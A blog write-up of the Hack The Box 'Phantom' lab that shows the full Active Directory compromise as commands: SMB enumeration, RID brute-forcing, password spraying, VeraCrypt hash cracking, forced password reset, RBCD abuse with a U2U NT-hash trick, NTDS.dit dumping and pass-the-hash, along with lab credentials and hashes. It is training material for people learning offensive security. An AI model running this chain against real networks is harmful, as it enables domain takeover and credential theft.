1513 words
8 minutes
HTB X Vulnlab: Phantom (Phantom/Medium) W S0nG0ku

Recon šŸ•µļø#

Network Enumeration#

TCP Scan#

ip=10.129.128.2
nmap -sCV -p- -vv -A -T5 -oA scan/normal $ip

Based on the TCP scan results, the following ports are available for further assessment:

PortSoftwareVersionStatus
53/tcpdomainttl 127 Simple DNS Plusopen
88/tcpkerberos-secttl 127 Microsoft Windows Kerberos (server time: 2025-08-20 09:23:09Z)open
135/tcpmsrpcttl 127 Microsoft Windows RPCopen
139/tcpnetbios-ssnttl 127 Microsoft Windows netbios-ssnopen
389/tcpldapttl 127 Microsoft Windows Active Directory LDAP (Domain: phantom.vl0., Site: Default-First-Site-Name)open
445/tcpmicrosoft-ds?ttl 127open
464/tcpkpasswd5?ttl 127open
593/tcpncacn_httpttl 127 Microsoft Windows RPC over HTTP 1.0open
636/tcptcpwrappedttl 127open
3268/tcpldapttl 127 Microsoft Windows Active Directory LDAP (Domain: phantom.vl0., Site: Default-First-Site-Name)open
3269/tcptcpwrappedttl 127open
3389/tcpms-wbt-serverttl 127 Microsoft Terminal Servicesopen
5985/tcphttpttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)open
9389/tcpmc-nmfttl 127 .NET Message Framingopen
53178/tcpncacn_httpttl 127 Microsoft Windows RPC over HTTP 1.0open

We can also observe the usual Windows Domain Controller ports (53, 88, 464, 593, 3268, 3269), along with common Windows service ports such as 135, 139, and 445. Additionally, the scan discloses the domain phantom.vl:

Pasted image 20250820104449.png

let’s add it to our /etc/hosts file :

echo "$ip phantom.vl DC.phantom.vl" | sudo tee -a /etc/hosts

Active Directory Enumeration#

Enumerating the SMB shares as Guest#

Let’s start by enumerating the smb shares:

nxc smb $ip -u 'frenzy' -p '' --shares

We have guest access to SMB and can read from a custom share named Public. We also identified another share, Departments Share, which we currently don’t have access to. Other than that, we still can’t access the SYSVOL and NETLOGON shares, so we’re unable to collect data for BloodHound at this stage:

Pasted image 20250820104730.png

Within the Public share, we discovered an email file:

nxc smb $ip -u 'frenzy' -p '' --share Public --dir 

Pasted image 20250820105558.png

Let’s download it:

nxc smb $ip -u 'frenzy' -p '' --share Public --get-file tech_support_email.eml ./tech_support_email.eml

Inside the email, we discover a username and email address. The message also suggests that the following Base64-encoded data represents a template in PDF format:

Pasted image 20250820110705.png

Let’s extract the PDF part from the email and restore it to its original form:

awk '/Content-Disposition: attachment; filename="welcome_template.pdf"/ {found=1; next} /^--/ {found=0} found {print}' tech_support_email.eml | base64 -d > welcome_template.pdf

Pasted image 20250820111331.png

In the email we see the default password of newly created users:

Pasted image 20250820111157.png

Since we only have a password, I tried different combinations of the username from the email, but none of them worked. Then I remembered that we have access to the IPC$ share, and on the Cicada machine we used the same approach there to brute-force usernames via an RID brute-forcing attack:

nxc smb phantom.vl -u 'frenzy' -p '' --rid-brute | tee ridBruteforcedUsernames.txt

Next, we sanitize the list to prepare it for the password spraying attack:

awk -F'\\' '{print $2}' ridBruteforcedUsernames.txt | awk '{print $1}' > ../wordlists/usernames.txt

With the cleaned list and the password in hand, I sprayed and got a match.

nxc smb phantom.vl -u ../wordlists/usernames.txt -p 'Ph4nt0m@5t4rt!' --continue-on-success

Pasted image 20250820113639.png

ibryant:Ph4nt0m@5t4rt!

Enumerating the SMB shares as ibryant#

Testing the new credentials via SMB shows that ibryant has read access to the Departments Share:

nxc smb $ip -u 'ibryant' -p 'Ph4nt0m@5t4rt!' --shares

Pasted image 20250820114048.png

Drawing bloodhound’s data:#

Let’s use this opportunity to collect the data needed for BloodHound, and then dive into the other rabbit holes to explore what else we can uncover in the other shares:

ip=10.129.128.2
bloodhound-ce-python -u 'ibryant' -p 'Ph4nt0m@5t4rt!' -d 'phantom.vl' -ns $ip -c All --zip
Enumerating the Departments Share:#

Browsing the share, we find three directories. Inside the IT directory, there is a backups subdirectory containing a .hc file:

nxc smb $ip -u 'ibryant' -p 'Ph4nt0m@5t4rt!' --share 'Departments Share' --dir 

Pasted image 20250820114810.png

Let’s download it:

nxc smb $ip -u 'ibryant' -p 'Ph4nt0m@5t4rt!' --share 'Departments Share' --get-file 'IT/Backup/IT_BACKUP_201123.hc' ./IT_BACKUP_201123.hc

A quick Google search reveals that .hc files are usually VeraCrypt container files, which are a type of encrypted disk image. Within the IT share, we also found a VeraCrypt installer in .deb package format. I downloaded it, but it didn’t work for some reason, so I used the latest version instead. When we try to mount the container using the command below, we get an error because we don’t have the correct credentials to access it:

sudo mkdir -p /mnt/veracrypt_mount
./VeraCrypt-1.26.24-x86_64.AppImage --text findings/ibryantSMB/IT_BACKUP_201123.hc /mnt/veracrypt_mount

Exploiting 🦈#

Foothold#

Shell as svc_sspr:#

We need to crack the VeraCrypt container’s password. First, we need to extract the hash using veracrypt2hashcat:

python3 veracrypt2hashcat.py IT_BACKUP_201123.hc > IT_BACKUP_201123.hash 

Here, we need to follow the instructions in the box description, which is to generate a targeted wordlist instead of just using rockyou. For that, I created this small Python script:

special_chars = ['!', '@', '#', '$', '%', '^', '&', '*', '(', ')']
years = [str(y) for y in range(2020, 2026)]
base_words = ['phantom', 'Phantom']

with open("phantom_wordlist.txt", "w") as f:
    for word in base_words:
        for year in years:
            for char in special_chars:
                password = f"{word}{year}{char}"
                f.write(password + "\n")

print("Wordlist generated in phantom_wordlist.txt")

Now that everything is set up, we launch Hashcat and retrieve the password:

hashcat -m 29421 IT_BACKUP_201123.hash phantom_wordlist.txt --force

Pasted image 20250820131755.png

IT_BACKUP_201123.hc:Phantom2023!

Now we mount the container and provide the correct password (for the Administrator password, use the one from the attack host you are currently using):

./VeraCrypt-1.26.24-x86_64.AppImage --text findings/ibryantSMB/IT_BACKUP_201123.hc /mnt/veracrypt_mount

Pasted image 20250820132201.png

While exploring the mounted directory, I noticed it contained a Linux filesystem. Immediately, the config directory caught my eye. Inside, I found the file config/config.boot, which stores the system’s configuration. Interestingly, this file contained cleartext VPN credentials for lstanley one of the users we had previously identified through RID bruteforcing:

Pasted image 20250820140458.png

The password did not allow authentication for any service with lstanley:

Pasted image 20250820143922.png

In this case, there are a couple of things we can do. One option is to test other users with the same password to check for password reuse, which gives us a match with svc_sspr:

nxc smb phantom.vl -u ../wordlists/usernames.txt -p 'gB6XTcqVP5MlP7Rc' --continue-on-success

Pasted image 20250820143215.png

svc_sspr:gB6XTcqVP5MlP7Rc

In bloodhound we see that the user is a member of the remote managment group, so let’s get a shell:

Pasted image 20250820144149.png

evil-winrm -i phantom.vl -u 'svc_sspr' -p 'gB6XTcqVP5MlP7Rc'

And, surprisingly, we also get the user flag:

Pasted image 20250820144653.png

Privilege Escalation#

Shell as Administrator#

In BloodHound, we see that our current user can change the passwords of three other users:

Pasted image 20250820145504.png

It also shows a complete attack path from our user to the administrator:

Pasted image 20250820150245.png

Changing WSILVA’s password:#

The first part of the kill chain is resetting the password of one of the three users; I chose to go with wsilva:

Pasted image 20250820153952.png

nxc smb 'DC.phantom.vl' -u 'svc_sspr' -p 'gB6XTcqVP5MlP7Rc' -M change-password -o USER='WSILVA' NEWPASS='newP@ssword2025'

We see that the password was changed successfully (This is a new feature in Netexec so if it doesn’t work for you, make sure to update it to the latest version):

Screen Shot 2025-08-20 at 5.30.55 PM.png

Abusing RBCD:#

After compromising the WSILVA account, we inherit its membership in the ICT SECURITY group. This group has the AddAllowedToAct privilege over the DC$ computer object, meaning it can modify the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. By altering this attribute, we can configure Resource-Based Constrained Delegation (RBCD), allowing WSILVA to impersonate other users when authenticating to DC$:

Pasted image 20250820154333.png

To abuse this, we need to overwrite the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the DC$ computer object, which is currently empty, as shown below:

impacket-rbcd -delegate-to 'DC$' -action 'read' 'phantom.vl/WSILVA:newP@ssword2025'

Screen Shot 2025-08-21 at 11.16.15 AM.png

After overwriting the attribute with the command below, we can see that the WSILVA account is now allowed to act on behalf of other users on the DC$ computer object:

impacket-rbcd -delegate-from 'WSILVA' -delegate-to 'DC$' -action 'write' 'phantom.vl/WSILVA:newP@ssword2025'

Screen Shot 2025-08-21 at 11.17.57 AM.png

Now that we can perform delegation, we can either coerce a TGT request for the Administrator account or dump NTDS.dit and use the Administrator’s hash with a pass-the-hash (PTH) attack to authenticate. To do either, however, we first need to obtain a TGT for our own account:

impacket-getTGT phantom.vl/'WSILVA':'newP@ssword2025' -dc-ip phantom.vl
export KRB5CCNAME=WSILVA.ccache

Screen Shot 2025-08-20 at 5.34.06 PM.png

With the TGT in hand and the ability to delegate, theoretically we can attempt to request a TGS for the Administrator account; however, the request fails:

Screen Shot 2025-08-21 at 12.54.42 PM.png

A workaround is to update WSILVA’s NT hash to match the session key in the TGT. Normally, the KDC uses a service’s long-term key (its NT hash) to encrypt service tickets. Since WSILVA lacks an SPN, U2U makes the KDC encrypt tickets with the TGT’s session key instead. However, for the S4U2Proxy step to succeed, the KDC must still validate tickets using WSILVA’s NT hash. By updating WSILVA’s NT hash so it matches the TGT’s session key, we ensure the KDC can both encrypt and validate tickets consistently during delegation (If you are interested more about how this works under the hood either DM me in discord or read the articles in the Resources section). First let’s parse our TGT and get the session key:

impacket-describeTicket WSILVA.ccache

Screen Shot 2025-08-20 at 5.45.52 PM.png

Now we will leverage another Impacket tool to update the NT hash (this feature isn’t available in NXC yet):

impacket-changepasswd -newhashes ':37b8b3377cd221b527fa05b3f0967cdf' phantom.vl/'WSILVA':'newP@ssword2025'@DC.phantom.vl

Screen Shot 2025-08-20 at 5.51.04 PM.png

Time of truth: if we try to impersonate the Administrator using the same command as before, it should now work:

impacket-getST -u2u -impersonate Administrator -spn ldap/'DC.phantom.vl' 'phantom.vl'/'WSILVA' -k -no-pass
export KRB5CCNAME=Administrator@ldap_DC.phantom.vl@PHANTOM.VL.ccache
nxc smb 'DC.phantom.vl' --use-kcache

Screen Shot 2025-08-22 at 11.28.42 AM.png

With an Administrator TGS, we have many options, but since NTLM authentication is still enabled, the simplest approach is to dump NTDS.dit and extract the hashes:

nxc smb 'DC.phantom.vl' --use-kcache --ntds

Screen Shot 2025-08-20 at 5.56.35 PM.png

From the dumped NTDS.dit, we can extract the Administrator’s hash, use it to authenticate via PtH, and obtain the root flag:

evil-winrm -i 'DC.phantom.vl' -u 'Administrator' -H 'aa2abd9db4f5984e657f834484512117'

Screen Shot 2025-08-20 at 5.59.12 PM.png

Resources šŸ“š:#

HTB X Vulnlab: Phantom (Phantom/Medium) W S0nG0ku
https://www.0xfr3nzy.com/posts/htb-phantom-windows-medium/
Author
0xfr3nzy
Published at
2025-08-22